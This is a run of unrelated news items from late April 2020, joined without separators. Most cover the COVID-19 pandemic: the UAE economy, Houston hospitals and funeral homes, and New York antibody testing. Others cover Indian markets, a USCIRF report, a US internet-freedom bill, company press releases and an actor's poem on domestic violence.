while it faces the greater risk of its government-related entities (GREs) requiring financial support as a result of the deterioration in economic conditions, said the report. The coronavirus outbreak is a major shock for the UAE's open economy. Travel restrictions, quarantines, the closure of schools, factories and businesses as well as a fall in global demand is inflicting substantial challenges to sectors like tourism, trade and real estate which account for over half of the UAE's total GDP and just under half of nonoil GDP, and an even greater share of Dubai's non-oil economy, stated the report. The virus and the public health measures to contain it have also drastically reduced global oil demand, depressing prices, although directly this will directly impact Abu Dhabi and only indirectly Dubai and the northern Emirates. Fiscal stimulus measures will soften the blow on business and the banking system, but are not be sufficient to offset the demand shock. Modest fiscal support has been announced at Federal and Emirate level. Dubai's Dh1.5 billion (0.4% of Dubai's GDP) three-month stimulus package incorporated specific measures to support the hospitality sector, while Abu Dhabi (Aa2 stable) expanded its Ghadan 21 stimulus package by 1.2% of GDP to include a credit guarantee scheme for SMEs, citizens income and support to its tourism sector, said Moody's in its report. However, the majority of support has been provided by the UAE central bank, which announced stimulus worth Dh256 billion ($70 billion) which should ease pressure on businesses and support bank liquidity, it stated. However, the demand shock from coronavirus will be significant, especially as growth in the non-oil economy had already slowed to historic lows before the coronavirus outbreak, it added. According to Moody's, Dubai is most exposed to contingent liability risks via its GREs, while Abu Dhabi and Sharjah (Baa2 stable) are more insulated. Dubai's GRE debt remains most exposed to these macro risks because of its holdings in the real estate, transportation and tourism sectors. Abu Dhabi's GRE exposure is primarily concentrated in the hydrocarbon sectors, which face challenges from lower oil prices but have strong starting financial positions. Sharjahs GRE exposure is dominated by utilities which are broadly insulated from the impact. However, contingent liability risks for all emirates will increase the longer the impact of the pandemic endures, it stated. The top ratings agency pointed out that the coronavirus shock represents a significant shock to the open UAE economy. "While we expect the vast majority of sovereigns that we rate to suffer a severe GDP contraction from the coronavirus outbreak, the UAE is particularly exposed to the economic implications of domestic containment actions and the broader global economic shock," it stated. The most direct channel will be the impact of public health policies to contain the outbreak like travel restrictions, quarantines and the closure of schools, factories and businesses on sectors like tourism, transportation and hospitality, it added.-TradeArabia News Service Curious just how far your dollar goes in Houston? We've rounded up the latest places for rent via rental sites Zumper and Apartment Guide to get a sense of what to expect when it comes to hunting down apartment rentals in Houston if you've got a budget of up to $800/month. Take a look at the listings, below. (Note: Prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 313 Sunnyside St. (Northside/Northline) Check out this 684-square-foot one-bedroom, one-bathroom apartment that's located at 313 Sunnyside St. It's listed for $686/month. In the unit, you can expect a balcony, a mix of hardwood floors and carpeting and central heating and air conditioning. For those with furry friends in tow, this property is pet-friendly. According to Walk Score's assessment, this location is moderately walkable, has some bike infrastructure and has some transit options. (See the complete listing here.) 855 Greens Road (Greater Greenspoint) Next, here's a 712-square-foot one-bedroom, one-bathroom abode at 855 Greens Road that's going for $705/month. Expect to find central heating in the unit. When it comes to building amenities, anticipate on-site laundry and a swimming pool. Pet owners, take heed: This rental is both dog-friendly and cat-friendly. Per Walk Score ratings, the area around this address is moderately walkable, has some bike infrastructure and offers many nearby public transportation options. (See the full listing here.) 6601 Dunlap St. (Sharpstown) Listed at $712/month, this 659-square-foot one-bedroom, one-bathroom apartment is located at 6601 Dunlap St. In the unit, you can anticipate a dishwasher and carpeted floors. The building features on-site laundry and secured entry. For those with furry friends in tow, this property is pet-friendly. Expect a $300 pet fee. Walk Score indicates that this location is somewhat walkable, is fairly bikeable and has some transit options. (Check out the complete listing here.) 8162 Richmond Ave. (Mid West) Then, there's this one-bedroom, one-bathroom apartment situated at 8162 Richmond Ave. It's listed for $715/month for its 676 square feet. Building amenities include secured entry, assigned parking and on-site laundry. You can also expect to find a mix of hardwood and carpeted floors and a dishwasher in the unit. Pet lovers are in luck: This property is both dog-friendly and cat-friendly. Per Walk Score ratings, this location is moderately walkable, is bikeable and offers many nearby public transportation options. (Check out the complete listing here.) 1412 Sydnor St. (Greater Fifth Ward) Also listed at $715/month is this 500-square-foot two-bedroom, one-bathroom spot. It's located at 1412 Sydnor St. The residence includes air conditioning and a renovated kitchen. Pets are not welcome. Future tenants needn't worry about a leasing fee. According to Walk Score's assessment, this location requires a car for most errands, is convenient for biking and has a few nearby public transportation options. (Take a look at the complete listing here.) Working with a tight budget? Here are the cheapest rentals recently listed in Houston. This story was created automatically using local real estate data from Zumper and Apartment Guide, then reviewed by an editor. Click here for more about what we're doing. Additionally, if youre in the real estate business learn how to do local real estate advertising in your ZIP codes. Got thoughts? Go here to share your feedback. Now working a seven-day work week, Michael Beavers life has changed in ways he never would have imagined just a few short months ago. I think our new normal isnt going to be our old normal. I think things will be different over time, said Beaver, chief executive officer at Northeast Methodist Hospital for the past six years. Beaver addressed the Randolph Metrocom Rotary Club in a Zoom conference on April 13, detailing the hospitals response to the global novel coronavirus pandemic and spelling out changes that have been implemented as a result. We believe the peak in San Antonio (in coronavirus) cases in San Antonio is going to be the last week in April or the first week in May, Beaver said. The data we look at on a regular basis continue to look better and better. The projections I looked at a month ago were much worse than the ones I am looking at today. The hospital in Live Oak has seen 19 patients test positive for COVID-19, the disease caused by the novel coronavirus, having admitted up to four at one time. As of April 25, the hospitals specially designed COVID unit sits empty of patients that normally stayed up to 11-12 days, from admittance to dismissal. I think all the social distancing weve been doing has in fact flattened the curve, which has kept that spike from happening. Its been pretty effective, he told club members who tuned in for the teleconference. Calling the month of March the longest decade of my life, Beaver reviewed statistics, talked about testing and spoke to the new norm he has seen take place around him. He said the U.S. experienced its first documented COVID-19 case in January. Six weeks later, on March 6, we had 161 positive patients in the U.S., and we had 14 deaths, he said. One month later, April 7, we went from 161 positive to 369,000 positives. In that one month, we went from 14 deaths to almost 11,000 deaths. Its an exponential increase. It took us from January 22 to April 7 to get to 11,000 deaths, and it took only five more days to go from 11,000 to 20,000 deaths, he added. Northeast Methodist, he said, was able to create a separate COVID unit within the hospital. We had the luxury of time that they didnt have in New York City. Weve been really blessed in Texas in that regard. We havent seen that rate of growth here yet. COVID-19 has proven to be far more deadly than the flu, and Beaver addressed the differences between the two. The country sees an average of about 60,000 deaths during a typical flu season; coronavirus has killed more than 55,000 Americans in just three months time. For starters, its not like the flu, its completely different, he said. The incubation period for the flu is usually 1-4 days, meaning in 1-4 days you start to show symptoms, he explained. The COVID incubation period can be between 1-14 days. So you can have it for a long period of time without showing symptoms and, during that time, transmit it to a lot of other people. So not only is the time period much longer, but its far easier to transmit, he added. The hospitalization rate also differs. About 2 percent of flu victims are hospitalized compared to about 20 percent of COVID-19 patients who are hospitalized. The length of stay for a flu patient is about 5 days; the length of stay for the average COVI-19 patient in a hospital is 11 days. Its just a much sicker population, and thats how it overruns the health care system, he said. With the country still in the grasp of COVID-19, fatality rates are not finite and are likely to be studied for years to come, he said. Flu is about a 0.1 percent fatality rate. Right now, COVID-19 is about1.5 percent, which makes it about 15 times more lethal than the flu, he said. Beaver detailed some of the changes that have taken place since the outbreak began. Everyone coming in could be a COVID-positive patient. They may be coming in for a heart attack, but they could still have COVID. So we started screening everyone at the door, he said. Beaver alluded to the Zoom conference participation and said teleconferencing has been another advance. In February, we did a grand total of 0 telehealth visits, not one. Last week, we did more than 3,000, he said. I think people are going to realize, I dont need to go into the doctors office every time. That may become a new norm in the healthcare industry. The wearing of masks in public helped stem the tide of spreading COVID-19. When wearing a mask, it doesnt do as much to protect you as it does to protect the other people from you, he said. If 100 percent of the people at an H-E-B are wearing masks, its going to make H-E-B a much safer place to be. The hospital began limiting visitors to two visitors per patient. That became one visitor and, right now, we have a policy of no visitors in our hospital, he said. In its emergency department, every patient that comes in is masked. It doesnt matter what youre coming in for, the key is remembering the mask you wear doesnt protect you, as much as it protects everyone else from you, he added. Among the new norms is a basic hand-washing. Wash your hands, people. Thats still the single-best thing you can do. It feels like Ive washed my hands 200 times a day, he said. While flattening the curve has worked to some extent, Beaver said testing availability is going to be one of the factors playing a role in getting past this. Having the ability to test anybody who wants to test is what will allow us to get on the other side of this, until we have a vaccine, he said. Its getting better but were still not there yet. It has been our Achilles heel in the U.S., the lack of testing. One return to normalcy has been the Methodist Healthcare systems decision to resume elective procedures and surgeries at all of its nine hospitals. An undated letter from Allen Harrison, Methodist Healthcare president and CEO, spells out the change. Elective procedures have been classified within tiers of urgency and acuity, Harrison wrote. You will see continued, and in some cases enhanced, screening, testing, masking and patient flow procedures. He said all healthcare systems recognize a public reluctance toward current medical care. Overall, consumers are scared, confused and not confident that life will return to normal. Patients will likely have questions about their safety in respect to COVID-19, he added. The letter addressed several safety measures being administered: universal COVID-19 testing for all elective surgery patients prior to their procedure; continuing a no visitor policy, in compliance with state orders; providing masks for all who enter a facility; heightened infection prevention policies to remove high-touch items, as well as prohibit food and drinks in clinical areas; adding screeners to all care facilities; and using available technology to minimize patients time in facility waiting areas. Moving forward, we are fully committed and prepared to care for patients who have been waiting patiently to receive these procedures, he said, adding, You and your patients safety, along with the safety of our staff, are our top priorities as we begin this phased approach to reopen more services. jflinn@express-news.net Local funeral directors are intimately familiar with death, impermanence and the fragility of life, but uncertainty created by the coronavirus pandemic is taking a psychological toll on them as they hope for a quick end to the crisis and prepare for the worst. The pandemic has led them to change some business practices as they seek to protect their workers from the disease, limit the size of funerals, stream services over the internet and contend with travel restrictions and closed borders as they deal with transporting remains to other countries. Its kind of fear of the unknown and not knowing what to expect, said Gregory Compean, owner of Compean Funeral Home and a licensed funeral director for 30 years. I'm very glad that here in Houston the numbers haven't grown out of control. Hopefully, we can get past this curve and get back to some type of normalcy. Texas has fewer confirmed cases (25,786 ) and deaths (688) from COVID-19, the disease caused by the coronavirus than New York (242,786 cases, 13,869 deaths) or California (28,963, 1,072). Greater Houston has 8,434 confirmed cases and 160 deaths. NEW NORMAL: Companies preparing for return to office In New York, which has been hit hardest by the pandemic, Gov. Andrew Cuomo called on out-of-state funeral directors to help manage the states rising death toll earlier this month. In New York City, where a makeshift hospital was assembled in Central Park to help relieve its overwhelmed health care system, refrigerated truck trailers have been used to store the bodies of victims of the disease. Local funeral directors say they havent seen a spike in families seeking their services. But they are watching the trends in other states and preparing for a potential surge in cases and deaths. I'm hoping that we do not have this tsunami, said Glenn Bower, executive director of the Texas Funeral Service Commission, the state agency that regulates the industry. But in the event that we all of a sudden start to get a larger surge of not only COVID cases, but also COVID deaths, we're ready for it and we've already mobilized the funeral directors throughout the state to help out where we can. Due to limited testing for the virus, funeral homes are assuming that families of the deceased might not know if their loved ones died from COVID-19. While funeral homes already adhere to strict standards for handling human remains, many are taking extra precautions to protect workers from the virus. Jay Carnes, owner of Carnes Funeral Home in South Houston and Texas City, said his biggest worry is protecting his workers during the pandemic. His company is providing workers with extra personal protective equipment such as face shields and masks. When handling the bodies of those who were known to be infected by COVID-19, workers wear two pairs of latex gloves and wrap those bodies in two bags, instead of one. Sinks, doorknobs, stretchers and car door handles are cleaned and disinfected several times during the day. The thing thats got me most concerned is if someone on our staff gets COVID-19, Carnes said. CORONA DIARY: Houstonian tell their pandemic stories Funeral homes have adhered to Centers for Disease Control and Prevention guidelines to limit funerals to 10 people or fewer. Many have moved indoor gatherings to gravesites. Theyve made funeral arrangements remotely and, to meet social distancing guidelines, offered large families a series of memorial services at staggered times or a later date at a reduced costor none at all. Beyond funeral homes, related businesses are also preparing to accommodate customers, including Cindys List, a funeral concierge service that helps facilitate funeral and estate planning founded by Cecil Ivey Sr. Iveys company serves as an intermediary between families and funeral homes by helping grieving families plan the details of funeral services and negotiating for lower cost products and services such as caskets and cremation on their behalf. In recent weeks, his business has seen a threefold increase in families seeking information about funeral streaming services to involve family members who cant be present. For some funeral homes, travel restrictions have affected the transportation of remains back to the native countries of the deceased for burial, a practice that is not uncommon for immigrant families, especially those in large cities, funeral directors said. International forwarding of bodies, particularly to Mexico, accounts for about 25 percent of Compeans business. Some customers have opted for cremation, with the intention of sending the cremated remains back to their country once travel restrictions are lifted. TEXAS INC.: Get the best of business news sent directly to your inbox Now Playing: 'COVID-19 in 60': Houston coronavirus news in a minute Video: Houston Chronicle In these times, Compean said he operates with a focus on keeping family and friends safe as the coronavirus spreads. But the restrictions aimed at slowing the pandemic have at times added anguish to those who have lost loved ones.He recalled an 82-year-old woman who recently died of COVID-19, alone in a nursing home. Her family was not allowed to be with her when she died. That was very devastating for the family not to be able to be there with their mother after the nursing homes and hospitals stopped letting family members be there, said Compean. So the humanistic part of that, that's very trying on families. Its difficult. glynn.hill@chron.com Here are the stocks in the news today. (Image: Moneycontrol) IndusInd Bank Q4 | Profit fell 76.8% to Rs 301.84 cr, net interest income rose 5.1% to Rs 3,231.19 cr QoQ. (Image: PTI) HDFC Life Q4 | Profit down 14.4% to Rs 311.65 cr, net premium income rose 2.2% to Rs 10,476 cr YoY. (Image: hdfclife.com) Adani Power Q4 | Loss at Rs 1,312.86 cr against profit at Rs 634.64 cr, revenue down 8.2% at Rs 6,172 cr YoY. (Image: PTI) Axis Bank | Lender will announce March quarter earnings FY20 on April 28. (Image: Moneycontrol) UPL | Company completed acquisition of Yoloo (Laoting) Bio-technology. (Image: @UPLLtd) 8K Miles Software | Swasti Bhowmick resigned as Chief Financial Officer. (8kmiles.com) Minda Industries | Company resumed partial production at Pantnagar, Waluj and Clarton Horn manufacturing facilities. (Image: Moneycontrol) DCW | Company partially resumed its operations in Sahupuram plant. (Image: tnpcb.gov.in) Shipping Corporation of India | Company physically handed over the vessel MT Maharaja Agrasen to the buyer's representative at Galle Anchorage in Sri Lanka. (Image: shipindia.com) Shreyans Industries | Company partially resumed operations at manufacturing units. (Image: Moneycontrol) SH Kelkar | Company partially resumed manufacturing operations at Vashivali, Mulund, Vapi and Mahad units. (Image: Moneycontrol) ISGEC Heavy Engineering | Company partially reopened manufacturing plants. (Image: isgec.com) Rane (Madras) | CRISIL reaffirmed long-term rating for debt instruments/ total bank loan facilities at A-/Negative. (Image: Moneycontrol) Gulf Oil Lubricants | Company resumed partial operations at Silvassa plant. (Image: gulfoilindia.com) Just Dial | Board to consider share buyback on April 30 Reliance Industries | Company in an exchange filing on April 27, said it will consider a rights issue to existing shareholders at its board meeting later this week. Disclosure: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd. Ambuja Cements | Company reported a consolidated profit of Rs 742.59 crore in Q1 CY20, a 6.8 percent growth over the same period last year. Consolidated revenue from operations dropped 8.5 percent year-on-year to Rs 6,249.66 crore due to a fall in sales volumes. The prices of vegetables like lady finger, cucumber and bottle gourd might increase in the city as their supply from Sonipat to Azadpur Mandi is likely get affected by up to 30 per cent, following sealing of Haryana's border with Delhi. Azadpur Agricultural Produce Marketing Committee Chairman Adil Ahmad Khan said that there are some coming from Sonipat that supply of vegetables from the neighbouring state was not being allowed in Delhi. "With this, the supply of cucumber, lady finger, bottle gourd and other vegetables from Sonipat to Azadpur Mandi may be affected by up to 30 per cent," Khan said. Haryana's borders with Delhi have been "sealed" with essential services allowed but stricter restrictions imposed on those coming in from the national capital, state Home Minister Anil Vij said on Tuesday. Meanwhile, Azadpur Mandi, Asia's biggest wholesale market, has so far reported 11 coronavirus cases. The total number of coronavirus cases in the national capital on Tuesday climbed to 3,314, with 206 fresh cases being reported in a day, according to Delhi government authorities. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A US commission mandated to monitor religious freedoms around the world on Tuesday recommended the Trump administration should add India to a list of countries seen by the US as systematic and egregious violators and sanction Indian government agencies and officials responsible for it. The US Commission on International Religious Freedom (USCIRF) cited the Citizenship (Amendment) Act, which fast-tracks Indian citizenship for non-Muslim refugees fleeing persecution, and nationwide campaigns of harassment and violence against religious minorities as its reasons. In its 2020 annual report released Tuesday, the commission recommended that the US government (technically, the state government) should designate India a Country of Particular Concern (CPC), for engaging in and tolerating systematic, ongoing, and egregious religious freedom violations. India was on the commissions for Tier 2 list of countries to be watched in 2019. This is the first time since 2004 that USCIRF recommends #India as a Country of Particular Concern #USCIRFAnnualReport2020 USCIRF (@USCIRF) April 28, 2020 The commission also recommended that the US government should impose targeted sanctions against Indian government agencies and officials responsible for religious freedom violations, freeze their assets in the United States and ban them from entering the country. It separately recommended to US congress to continue to hold hearings on the state of religious freedoms in India. It could not be immediately ascertained if the recommendation were binding and whether the Trump administration would indeed accept those meant for the the US government. It had ignored a previous recommendation by the commission in December to sanction Union home minister Amit Shah if the CAA was enacted. The Citizenship (Amendment) Act in #India "potentially exposes millions of Muslims to detention, deportation, and statelessness when the government completes its planned nationwide National Register of Citizens" USCIRF Vice Chair @nadinemaenza #USCIRFAnnualReport2020 USCIRF (@USCIRF) April 28, 2020 India had dismissed the USCIRFs December recommendations as guided only by its prejudices and biases and has in the past denied its officials entry into the country. The commission held a hearing on Indias citizenship laws and changes and the state of religious freedom in March at which the CAA and a proposed National Register of Citizens had been criticized by expert witnesses as aimed as Indias Muslim minorities. USCIRF Chair @tperkins discusses #India saying "We are seeing impunity for violence by non-state actors committed against religious minorities." #USCIRFAnnualReport2020 USCIRF (@USCIRF) April 28, 2020 The commission recommended re-designating Burma, China, Eritrea, Iran, North Korea, Pakistan, Saudi Arabia, Tajikistan, and Turkmenistan as CPC and adding to it along with India, Nigeria, Russia, Syria, and Vietnam. It also sought for Cuba, Nicaragua, Sudan, and Uzbekistan to be kept on the next tier of special watch list and add 11 more: Afghanistan, Algeria, Azerbaijan, Bahrain, Central African Republic (CAR), Egypt, Indonesia, Iraq, Kazakhstan, Malaysia, and Turkey. U.S. Rep. Michael McCaul (R-Texas) speaks to the media before a closed session before the House Intelligence, Foreign Affairs and Oversight committees at the U.S. Capitol in Washington on Oct. 15, 2019. (Tasos Katopodis/Getty Images) Bipartisan Group Introduces Bill to Strengthen Global Internet Freedom, Amid Pandemic A bipartisan group of U.S. House members introduced legislation that would bolster free speech and communications on the internet, along with ramping up U.S. efforts to counter oppressive censorship in countries such as China, Russia, and Iran. The measure, dubbed the Open Technology Fund Authorization Act (H.R. 6621) was introduced on April 27 and would authorize the Open Technology Fund (OTF) as an independent grantee within the U.S. Agency for Global Media (USAGM). USAGM is made up of five media organizations, including Radio Free Asia and the Voice of America. OTF is a nonprofit organization that supports projects aimed at counteracting repressive censorship and surveillance and enabling citizens worldwide to exercise their fundamental human rights online, according to its website. The measure, sponsored by House Foreign Affairs Committee Chairman Eliot Engel (D-N.Y.), Rep. Michael McCaul (R-Texas), the committees ranking Republican, as well as Reps. John Curtis (R-Utah), and Tom Malinowski (D-N.J.), would enable the OTF to better support such projects. In a statement, McCaul touched upon the importance of knowledge and how censoring information has long been a hallmark of oppression. In the digital era, tyrants and dictators around the world seek to further control their citizens by restricting, censoring, and surveilling the internet, he said. This has been a growing trend in repressive regimes like China, Iran, and North Korea. The USAGM has already made significant headway in its efforts to push internet freedom across the world, said McCaul, who adding that the addition of the OTF would strengthen the global media groups mission and better position the U.S. to help those fighting against this form of tyranny. Governments from across the world have been trying to silence the U.S. group of broadcasters, according to Engel. The OTF is working on ways around government censorship and restriction of the internet, he said in a statement. If a repressive regime builds a wall, the OTF is working to build an even taller ladder, Engel said. Im glad to support the OTFs efforts and to join with Representative McCaul to authorize the fund in law. Continuing the countrys dismal track record on press freedom, the Chinese Communist Party announced recently that it was expelling U.S. journalists based in China who work for The New York Times, The Wall Street Journal, and The Washington Post. China ranked 177 out of 180 in the 2019 Reporters Without Borders World Press Freedom Index. Curtis said the new bill would also help to support the development of new technologies that could protect against bad actors that try to shut down the internet, censor information, or locate those advocating for democratic rights. Li Wenliang, one of the eight whistleblowers who first publicized information about the CCP virus and who later died from it in February, was reprimanded by Chinese authorities for posting information about the contagion. Wuhan officials said on Jan. 1 they took legal measures against people, including Li, who had spread rumors about the disease, which caused adverse impacts on society according to a statement posted on Weibo, a Chinese Twitter-like platform. Malinowski, meanwhile, called the OTF a critical tool in protecting human rights activists, religious minorities, and journalists from government surveillance. As dictators roll out new COVID-19 tracing tools with backdoors to monitor their citizens, OTF will be there to give those who defend democracy the tools to communicate and organize free of snooping eyes, he said in a statement. [April 28, 2020] Scopio Labs Closes $16 Million Series B Round to Expand Commercial Rollout of Automated Microscopy Solutions TEL AVIV, Israel, April 28, 2020 /PRNewswire/ -- Scopio Labs, an advanced digital microscopy company, today announced it has completed a $16 million financing round, bringing its total funding to $30 million. The Series B round will enable Scopio Labs to expand commercial operations across human and veterinary care in the United States and Europe, by ramping up manufacturing and sales, and further developing a robust clinical trial pipeline to broaden its portfolio of offerings. Scopio Labs is propelling microscopy into the digital age. Its platform automates the imaging of full microscopy samples into uniquely high resolution digital scans using cutting-edge computational photography techniques. Scopio also built and integrated end-to-end AI and remote consultation solutions for large and small labs and hospitals across the continuum of care to improve diagnostic processes while reducing turn-around time. "We are delighted by the additional investor support that reinforces our vision and dedication to advancing clinical and research fields into new arenas through microscopy, a cornerstone of science and medicine which has been held back from joining the digital revolution by the complexity of scanning samples easily and at such high resolution," said Itai Hayut, co-founder and CEO at Scopio Labs. Olive Tree Ventures led the Series B funding round. Other investors include Aurum Ventures, OurCrowd, LR group and others. The closing of the funding round follows the company's reeipt of a CE mark certification for its X100 Full Field Peripheral Blood Smear (PBS) microscopy system, an all-in-one automated in-vitro hematology diagnostic platform that enables remote consultation and includes a computer-vision based decision support system. In addition, A multi-center study in preparation of an FDA submission is being completed. Earlier this year, the company launched ScopioVet, an end-to-end digital cytology solution for veterinary professionals. About Scopio Labs Scopio Labs, founded in 2015, develops breakthroughs in digital microscopy that help improve accuracy, efficiency and accessibility wherever the microscope plays a role in the diagnostic process. The Scopio microscope captures and digitizes full slide microscopy data. Using advanced computational photography techniques to reconstruct data, Scopio offers an automated digital microscopy scanning system with uniquely high resolution and quality images. The company creates end-to-end solutions that provide AI-based decision support systems and remote collaboration tools in hematology, pathology, research and veterinary medicine. Scopio supports clinical applications while also powering innovation in areas such as academic research and drug discovery. For more information visit our website, http://scopiolabs.com and follow the company on LinkedIn and Twitter . Photo - https://mma.prnewswire.com/media/1160909/Scopio_Labs_X100.jpg Photo - https://mma.prnewswire.com/media/1160910/Scopio_Labs.jpg Logo - https://mma.prnewswire.com/media/1160911/Scopio_Labs_Logo.jpg Media Contact: Nechama Feuerstein Finn Partners for Scopio Labs +1 973 303 6665 [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/scopio-labs-closes-16-million-series-b-round-to-expand-commercial-rollout-of-automated-microscopy-solutions-301048226.html SOURCE Scopio Labs [ Back To TMCnet.com's Homepage ] Kriti Sanon has a budding poet inside of her and she often pens her thoughts when she gets time. The actor, however, is not new to writing and has shared a tragic poem on the subject of domestic violence. It was written by her in class 11 after listening to her house helps confession of suffering at the hands of her husband. The poem, titled Abused, begins with the victim describing an incident of domestic violence in extreme detail. It opens with: As the sun sets spreading blood all over the sky, my heart starts sinking once again, sweat goes down my neck strikes. Feet steady at the door, hes gonna be late. Wait I can hear him come, the sound is not a stranger. I can hear the doorknob, I can smell the danger. The odour tells me hes drunk again, full of frustration, ready to deliver some pain. She recites, He throws me down like an insane, another mark he has left on my body and goes on to add my sobbing acts like music and lulls him to sleep. Kriti added she would like to change the poems original ending with I cannot control my life. She says a victim can always make an effort to deal with such a situation. She also shared the helpline numbers and where the victims of domestic violence can report. She wrote, Stand up for yourself & REPORT..because Its NOT OKAY! It breaks my heart to read that the domestic violence cases have almost doubled up during the lockdown period! About 700 cases alone in Punjab! And these are just the ones Registered! Imagine how many are not reported! She ended the note saying, ONLY YOU can control your life.. so stand up for yourself! Its NOT OK for anyone to physically hurt you.. no matter what the reason is! ITS NOT OK! Also read: Baahubali 2 turns 3: As Prabhas celebrates biggest film of his life, here are 8 fun facts of SS Rajamouli blockbuster Kriti had earlier shared a video where she is seen reciting one of her poems. The 29-year-old actor started the video by addressing how the self-isolation time has given everyone an opportunity to do things they always wanted. She says, Well, I feel that this quarantined time has given all of us a lot of time to do all the things we didnt have the time for. The Lukka Chuppi actor further said that the self-distancing time has got her back to writing poetry and it is after a very long time she has written something in Hindi. Also read: Shweta Tiwari, Sharad Malhotra, Debina Bonnerjee take the hit me challenge, get slammed for promoting domestic violence Thham jaa, Theher jaa..Weve been running too fast.. It almost feels like we needed to PAUSE.. We MUST! she captioned the post. The poem recited by the Panipat actor was throwing light on the fact of slowing down a little bit in this fast-paced world. Recently, Alia Bhatt also shared a self-written poem on the occasion of Earth Day. Follow @htshowbiz for more Press Release 28 April 2020 All RedDoorz hotels in Singapore have attained the SG Clean quality mark - a stamp of assurance to the public that an establishment is committed to upholding good sanitation and hygiene practices. quality mark - a stamp of assurance to the public that an establishment is committed to upholding good sanitation and hygiene practices. RedDoorz launches "HygienePass" in Indonesia in collaboration with Ikatan Ahli Kesehatan Masyarakat Indonesia (IAKMI) - The Indonesian Public Health Association, and targets to have all of RedDoorz 1,400 hotels in the country certified by June. The certification programme will also be rolled out gradually across the Philippines and Vietnam in collaboration with local authorities. Advertisements Singapore, 28 April 2020 RedDoorz, Southeast Asia's largest and fastest-growing online hotel management and booking platform, today announced that all its 9 hotel properties in Singapore have been "SG Clean"-certified. The SG Clean campaign is a Singapore government effort to rally businesses and the public to uphold good sanitation standards and hygiene practices. The SG Clean quality mark is supported by key government agencies which include Enterprise Singapore (ESG), the Singapore Tourism Board (STB), and the National Environment Agency, as well as non-governmental organization partners such as the Public Hygiene Council. As part of the certification audit, all of RedDoorz hotels in Singapore were assessed and certified by a qualified, third-party assessor. Each hotel underwent a seven-point checklist covering the hygiene and management processes including temperature and health screening of employees and implementation of sanitation practices, as well as complying with health and travel advisories, guidelines and government orders on COVID-19. The firm also announced the launch of "HygienePass", an industry-wide cleanliness & sanitation certification programme for the hospitality industry. The certification is launched first in Indonesia in collaboration with Ikatan Ahli Kesehatan Masyarakat Indonesia (IAKMI) - The Indonesian Public Health Association (IAKMI), an industry association which provides public health policies and expertise. Commenting on these initiatives, Amit Saberwal, Founder and CEO RedDoorz, said, "As one of the leading hotel brands and hospitality network in Southeast Asia, it is very important for us to plan ahead and ensure we are implementing the appropriate cleanliness, hygiene and sanitary measures across all our properties so that travellers are confident of our commitment to their health and safety." "We are also aware that independent hotel owners are probably the most affected during this crisis and we would be happy to have them join the certification programme as we believe any hotel business will be able to benefit from its adoption. We are confident that with the launch of 'HygienePass', a RedDoorz initiative, we will be able to quickly establish the new industry standards of sanitation and hygiene, and these in turn will help boost consumer confidence once recovery starts to happen," further added Saberwal. The launch of "HygienePass" is aimed at building travellers' confidence in hotel establishments by enabling consumers to easily identify certified properties, and reassure them that they are staying in hotels which implement and maintain a set of robust hygiene and cleanliness measures independently assessed by public health experts. To start with, RedDoorz will ensure all its 1,400 properties in Indonesia will undergo this certification programme. The certification will also be open for adoption by any hotel business that wants to meet the new industry standards for cleanliness and sanitation, a process which will be facilitated by RedDoorz in close coordination with IAKMI. RedDoorz has developed a proprietary digital technology solution to enable key elements of the audit and certification process to be implemented digitally in light of the recent people mobility restrictions enforced by governments across Southeast Asia, while ensuring the solution can easily be adopted by a wide range of independent hotels who currently lack digitisation and sanitary certification processes. To qualify for the "HygienePass" certification, hotel establishments will have to implement and maintain several rigorous sanitation and hygiene measures on a daily basis covering temperature checks of hotel staff employees and incoming guests, adoption of specific cleaning methodology and anti-bacterial products and equipment used to disinfect rooms and public areas, and heightened general hygiene practices. A comprehensive audit process will be carried out and independently assessed by IAKMI in Indonesia before the certification is awarded to hotel establishments. Each measure included in the certification will need to be implemented and checked every day in order for the certificate to remain valid - this will be enforced with the enhanced technology the company has built to help counter the virus spread. RedDoorz will also launch "HygienePass" certification in The Philippines and Vietnam by partnering with relevant authorities. Antibody testing has identified more New Yorkers who were infected with the coronavirus, but a small percentage of those people are in the upstate region. So far, 7,500 people have been tested to determine if they have antibodies that responded to COVID-19. Nearly 15% of that group tested positive for the antibodies, up one percentage point from the initial round of testing done last week. A larger number of people have tested positive for the coronavirus antibodies are in downstate New York 24.7% of those tested in New York City, 15.1% in Rockland and Westchester counties, 14.4% on Long Island and 3.2% in the rest of the state. In upstate regions, the antibody test results vary. Western New York has the highest percentage (7.1%), while central New York has the second-lowest (1.3%). North Country's rate is the lowest, with 1.2% of people tested having the antibodies to fend off COVID-19. The state began conducting antibody testing last week at grocery stores and other public locations. The purpose of the testing is to identify people who may have had the virus but either they weren't symptomatic or didn't seek medical attention for their illness. For Gov. Andrew Cuomo, the early antibody test results statewide reinforce the need for different strategies to restart the economy. Many businesses in New York have been shut down since mid-March due to the pandemic. Cuomo on Sunday outlined a plan to reopen in phases, with construction and manufacturing businesses the first to restart operations. He elaborated on Monday that businesses must take precautions to protect employees and customers before they reopen. Businesses will be responsible for developing plans detailing how they can safely reopen and submitting them to the state. The existing stay-at-home order and non-essential business closures are in place until May 15. Cuomo said he will extend them "in many parts of the state," while other regions reopen. "But you have to be smart about it," he said. "We all have to be smart about it. As we said there is no light switch where you flip a switch and everybody goes back to doing what they are doing. We have to take these circumstances into consideration. We have to learn the lessons, we have to move forward and we have to be smart because if you are not smart, you will see that infection rate go right back to where it was." A priority for regions that will reopen is the creation of a "control room." Cuomo wants regions to monitor certain metrics, including hospitalization rates, antibody testing, diagnostic testing and the infection rate. He is also asking the regions to examine their health care capacity how many hospital beds are available and what will be needed to address a possible surge in COVID-19 cases when the next flu season begins and whether there's a tracing system in place to identify and isolate new COVID-19 cases. The reopening will be coordinated using the state's regional economic development council structure. For central New York, that means Cayuga, Cortland, Madison, Onondaga and Oswego counties will work together to develop a reopening plan. The leaders from those counties are already discussing a strategy for restarting the regional economy. "Everybody in that region has to have the same policy when it comes to schools, when it comes to transportation, when it comes to testing, when it comes to tracing and that region's plan has to fit in our overall multi-state plan," said Cuomo, who was referring to the coalition of Northeast states that are working together to reboot the economy. Politics reporter Robert Harding can be reached at (315) 282-2220 or robert.harding@lee.net. Follow him on Twitter @robertharding. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your 